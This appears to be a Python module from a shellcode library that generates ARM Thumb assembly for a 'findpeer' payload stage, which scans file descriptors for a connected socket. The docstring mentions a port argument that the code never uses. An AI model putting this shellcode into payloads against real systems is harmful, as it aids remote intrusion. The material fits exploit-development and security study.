Source code for shellcodes.thumb.findpeer

# find a peer

[docs]def generate(): """find a socket, which is connected to the specified port in thumb mode Leaves socket in r0 reg. argument: port (int/str): specific port backup: r6: indicates found socket/file descriptor """ sc = """ findpeer_1: sub r5, r5, r5 add r5, r5, #-1 mov r3, sp looplabel_2: mov sp, r3 add r5, r5, #1 mov r0, r5 movs r2, #4 push {r2} mov r2, sp add r1, sp, #32 sub r7, r7, r7 add r7, r7, #255 add r7, r7, #32 svc 1 cmp r0, #0 bne looplabel_2 mov r6, r5 """ return sc
if __name__ == '__main__': print generate()